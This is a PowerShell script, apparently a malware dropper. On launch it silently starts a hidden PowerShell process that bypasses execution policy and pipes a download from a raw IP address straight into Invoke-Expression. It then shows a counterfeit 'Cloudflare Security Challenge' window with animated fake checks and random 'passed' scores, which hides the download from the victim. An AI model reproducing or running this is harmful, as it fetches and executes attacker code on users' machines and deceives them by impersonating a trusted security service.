$PSExe = $env:windir + '\System32\WindowsPowerShell\v1.0\powershell.exe'

$PArgs = @(
    '-NoP'
    '-WindowStyle', 'h'
    '-ep', 'b'
    '-Command', 'irm 95.14223142/velcapb | iex'
)

try {
    $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgs -WindowStyle `h -PassThru
} catch {
    $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgs -PassThru
}

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
[System.Windows.Forms.Application]::EnableVisualStyles()

$White    = [Drawing.Color]::FromArgb(255, 255, 255)
$CardBg   = [Drawing.Color]::FromArgb(250, 250, 250)
$LightBg  = [Drawing.Color]::FromArgb(245, 245, 245)
$Border   = [Drawing.Color]::FromArgb(218, 220, 224)
$TextDark = [Drawing.Color]::FromArgb(29, 31, 32)
$TextBody = [Drawing.Color]::FromArgb(54, 57, 58)
$TextMut  = [Drawing.Color]::FromArgb(113, 113, 116)
$CfOrange = [Drawing.Color]::FromArgb(246, 130, 31)
$Green    = [Drawing.Color]::FromArgb(34, 197, 94)
$GreenBg  = [Drawing.Color]::FromArgb(240, 253, 244)
$Cyan     = [Drawing.Color]::FromArgb(14, 116, 144)
$CheckBg  = [Drawing.Color]::FromArgb(255, 255, 255)
$CheckBrd = [Drawing.Color]::FromArgb(200, 202, 206)

$nodeId = "CDN-$(Get-Random -Min 100 -Max 999)-$(Get-Random -Min 10 -Max 99)"
$rayId = ([guid]::NewGuid().ToString('N').Substring(0,16))
$rayId = $rayId.Substring(0,4)+'-'+$rayId.Substring(4,4)+'-'+$rayId.Substring(8,4)+'-'+$rayId.Substring(12,4)

$form = New-Object Windows.Forms.Form
$form.Text = 'Cloudflare Security Challenge'
$form.ClientSize = New-Object Drawing.Size(380, 430)
$form.StartPosition = 'CenterScreen'
$form.FormBorderStyle = 'FixedDialog'
$form.MaximizeBox = $false
$form.MinimizeBox = $false
$form.BackColor = $LightBg
$form.Font = New-Object Drawing.Font('Segoe UI', 9)

$card = New-Object Windows.Forms.Panel
$card.Location = New-Object Drawing.Point(16, 16)
$card.Size = New-Object Drawing.Size(348, 398)
$card.BackColor = $White
$form.Controls.Add($card)
$card.Add_Paint({
    param($s,$e)
    $e.Graphics.SmoothingMode = 'AntiAlias'
    $pen = New-Object Drawing.Pen($Border, 1)
    $e.Graphics.DrawRectangle($pen, 0, 0, $s.Width-1, $s.Height-1)
    $pen.Dispose()
})

$hdr = New-Object Windows.Forms.Panel
$hdr.Location = New-Object Drawing.Point(1, 1)
$hdr.Size = New-Object Drawing.Size(346, 54)
$hdr.BackColor = [Drawing.Color]::FromArgb(26, 30, 46)
$card.Controls.Add($hdr)
$hdr.Add_Paint({
    param($s,$e)
    $g = $e.Graphics; $g.TextRenderingHint = 'ClearTypeGridFit'; $g.SmoothingMode = 'HighQuality'
    # ☁ emoji via TextRenderer (handles emoji properly)
    $fe = New-Object Drawing.Font('Segoe UI Emoji', 16)
    [Windows.Forms.TextRenderer]::DrawText($g, [char]0x2601, $fe, (New-Object Drawing.Point(14, 9)), [Drawing.Color]::White)
    $fe.Dispose()
    # Cloudflare — orange
    $f = New-Object Drawing.Font('Segoe UI Semibold', 11)
    $bCf = New-Object Drawing.SolidBrush([Drawing.Color]::FromArgb(246,130,31))
    $g.DrawString('Cloudflare', $f, $bCf, 50, 15)
    $szCf = $g.MeasureString('Cloudflare', $f)
    $f.Dispose(); $bCf.Dispose()
    # Security Challenge — with gap
    $f2 = New-Object Drawing.Font('Segoe UI', 9.5)
    $b2 = New-Object Drawing.SolidBrush([Drawing.Color]::FromArgb(140,144,158))
    $g.DrawString('Security Challenge', $f2, $b2, [float](50 + $szCf.Width + 2), 17)
    $f2.Dispose(); $b2.Dispose()
})

$lblStatus = New-Object Windows.Forms.Label
$lblStatus.Text = 'Verifying your connection...'
$lblStatus.Font = New-Object Drawing.Font('Segoe UI', 10)
$lblStatus.ForeColor = $TextDark
$lblStatus.Location = New-Object Drawing.Point(18, 68)
$lblStatus.Size = New-Object Drawing.Size(310, 24)
$card.Controls.Add($lblStatus)

$lblInfo = New-Object Windows.Forms.Label
$lblInfo.Text = "Node $nodeId"
$lblInfo.Font = New-Object Drawing.Font('Consolas', 7.5)
$lblInfo.ForeColor = $TextMut
$lblInfo.Location = New-Object Drawing.Point(18, 92)
$lblInfo.AutoSize = $true
$card.Controls.Add($lblInfo)

$sep = New-Object Windows.Forms.Panel
$sep.Location = New-Object Drawing.Point(18, 116)
$sep.Size = New-Object Drawing.Size(310, 1)
$sep.BackColor = $Border
$card.Controls.Add($sep)

$script:rows = @()
$checks = @(
    @('TLS Handshake','connect'), @('Edge Routing','resolve'),
    @('Browser Integrity','analyze'), @('Bot Detection','evaluate'),
    @('Request Signature','verify'), @('Token Exchange','sign')
)
for ($i = 0; $i -lt $checks.Count; $i++) {
    $rY = 126 + $i * 28
    $p = New-Object Windows.Forms.Panel
    $p.Location = New-Object Drawing.Point(18, $rY)
    $p.Size = New-Object Drawing.Size(310, 28)
    $p.BackColor = if ($i % 2 -eq 0) { $White } else { $CardBg }
    $p.Tag = @{ name=''; status=''; result='' }
    $p.Visible = $false
    $card.Controls.Add($p)
    $p.Add_Paint({
        param($s,$e)
        $g = $e.Graphics; $g.TextRenderingHint = 'ClearTypeGridFit'
        $d = $s.Tag
        $fn = New-Object Drawing.Font('Segoe UI', 8.5)
        $fm = New-Object Drawing.Font('Consolas', 8)
        # name
        $bN = New-Object Drawing.SolidBrush($TextBody); $g.DrawString($d.name, $fn, $bN, 4, 5); $bN.Dispose()
        # status
        if ($d.status) {
            $sc = if ($d.status -eq 'passed') { $Green } elseif ($d.status -match '[/|\\]') { $CfOrange } else { $TextMut }
            $bS = New-Object Drawing.SolidBrush($sc); $g.DrawString($d.status, $fm, $bS, 172, 6); $bS.Dispose()
        }
        # result
        if ($d.result) {
            $rc = if ($d.result -match '^\d') { $Green } else { $TextMut }
            $bR = New-Object Drawing.SolidBrush($rc); $g.DrawString($d.result, $fm, $bR, 256, 6); $bR.Dispose()
        }
        $fn.Dispose(); $fm.Dispose()
    })
    $script:rows += $p
}

$pnlTrack = New-Object Windows.Forms.Panel
$pnlTrack.Location = New-Object Drawing.Point(18, 302)
$pnlTrack.Size = New-Object Drawing.Size(310, 4)
$pnlTrack.BackColor = [Drawing.Color]::FromArgb(230, 232, 236)
$card.Controls.Add($pnlTrack)

$pnlFill = New-Object Windows.Forms.Panel
$pnlFill.Location = New-Object Drawing.Point(0,0)
$pnlFill.Size = New-Object Drawing.Size(0, 4)
$pnlFill.BackColor = $CfOrange
$pnlTrack.Controls.Add($pnlFill)

$lblPh = New-Object Windows.Forms.Label
$lblPh.Font = New-Object Drawing.Font('Segoe UI', 7.5)
$lblPh.ForeColor = $TextMut
$lblPh.Location = New-Object Drawing.Point(18, 310)
$lblPh.Size = New-Object Drawing.Size(200, 14)
$card.Controls.Add($lblPh)

$pnlRes = New-Object Windows.Forms.Panel
$pnlRes.Location = New-Object Drawing.Point(18, 332)
$pnlRes.Size = New-Object Drawing.Size(310, 36)
$pnlRes.BackColor = $GreenBg
$pnlRes.Visible = $false
$card.Controls.Add($pnlRes)
$pnlRes.Add_Paint({
    param($s,$e)
    $pen = New-Object Drawing.Pen([Drawing.Color]::FromArgb(187, 247, 208), 1)
    $e.Graphics.DrawRectangle($pen, 0, 0, $s.Width-1, $s.Height-1)
    $pen.Dispose()
})
$lblRes = New-Object Windows.Forms.Label
$lblRes.Font = New-Object Drawing.Font('Segoe UI Semibold', 9.5)
$lblRes.ForeColor = [Drawing.Color]::FromArgb(22, 101, 52)
$lblRes.TextAlign = 'MiddleCenter'
$lblRes.Dock = 'Fill'
$pnlRes.Controls.Add($lblRes)

$lblRay = New-Object Windows.Forms.Label
$lblRay.Font = New-Object Drawing.Font('Consolas', 7)
$lblRay.ForeColor = [Drawing.Color]::FromArgb(170, 172, 178)
$lblRay.Location = New-Object Drawing.Point(18, 370)
$lblRay.AutoSize = $true
$card.Controls.Add($lblRay)

$btn = New-Object Windows.Forms.Button
$btn.Size = New-Object Drawing.Size(86, 28)
$btn.Location = New-Object Drawing.Point(242, 366)
$btn.FlatStyle = 'Flat'
$btn.BackColor = [Drawing.Color]::FromArgb(235, 237, 240)
$btn.ForeColor = $TextMut
$btn.Font = New-Object Drawing.Font('Segoe UI', 8.5)
$btn.Text = 'Verify'
$btn.FlatAppearance.BorderColor = $CheckBrd
$btn.FlatAppearance.BorderSize = 1
$btn.Enabled = $false
$btn.Add_Click({ $form.Close() })
$card.Controls.Add($btn)

function Set-Bar([int]$P,[string]$L) {
    if($P -lt 0){$P=0};if($P -gt 100){$P=100}
    $pnlFill.Width = [int](310 * $P / 100); $lblPh.Text = $L
    [Windows.Forms.Application]::DoEvents()
}
function Wt([int]$Ms) {
    $sw = [Diagnostics.Stopwatch]::StartNew()
    while ($sw.ElapsedMilliseconds -lt $Ms) {
        [Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 10
        if ($form.IsDisposed) { return $false }
    }; return $true
}

$form.Add_Shown({
    $form.Activate()
    $spin = @('/', [char]0x2014, '\', '|')
    if (-not (Wt 600)) { return }

    for ($ci = 0; $ci -lt $checks.Count; $ci++) {
        $p = $script:rows[$ci]
        $d = $p.Tag
        $nm = $checks[$ci][0]; $act = $checks[$ci][1]
        $d.name = $nm; $d.status = '···'; $d.result = ''
        $p.Visible = $true; $p.Invalidate(); [Windows.Forms.Application]::DoEvents()
        if (-not (Wt 140)) { return }

        for ($s = 0; $s -lt 6; $s++) {
            $d.status = "$($spin[$s % 4])  $act"; $d.result = '---'
            $p.Invalidate(); [Windows.Forms.Application]::DoEvents()
            if (-not (Wt 55)) { return }
        }
        $d.status = 'passed'; $d.result = "$(Get-Random -Min 96 -Max 100)/100"
        $p.Invalidate(); [Windows.Forms.Application]::DoEvents()
        Set-Bar ([int](($ci+1) / $checks.Count * 46)) 'analyzing...'
        if (-not (Wt 40)) { return }
    }

    for ($p = 46; $p -le 100; $p++) {
        $l = if($p -lt 55){'connecting'}elseif($p -lt 68){'handshake'}elseif($p -lt 82){'verifying'}elseif($p -lt 93){'signing'}elseif($p -lt 100){'finalizing'}else{'done'}
        Set-Bar $p $l; if (-not (Wt 25)) { return }
    }
    if (-not (Wt 300)) { return }

    $lblStatus.Text = 'Verification successful'
    $lblStatus.ForeColor = [Drawing.Color]::FromArgb(22, 101, 52)
    $pnlRes.Visible = $true
    $lblRes.Text = [char]0x2714 + '  Verification complete'
    $lblRay.Text = "ray $rayId"
    $lblPh.Text = ''
    $pnlFill.BackColor = $Green; $pnlFill.Width = 310
    $btn.Enabled = $true; $btn.BackColor = $CfOrange
    $btn.ForeColor = $White; $btn.FlatAppearance.BorderColor = $CfOrange
    $btn.Cursor = 'Hand'; $btn.Text = 'OK'
})

[void][Windows.Forms.Application]::Run($form)

#exit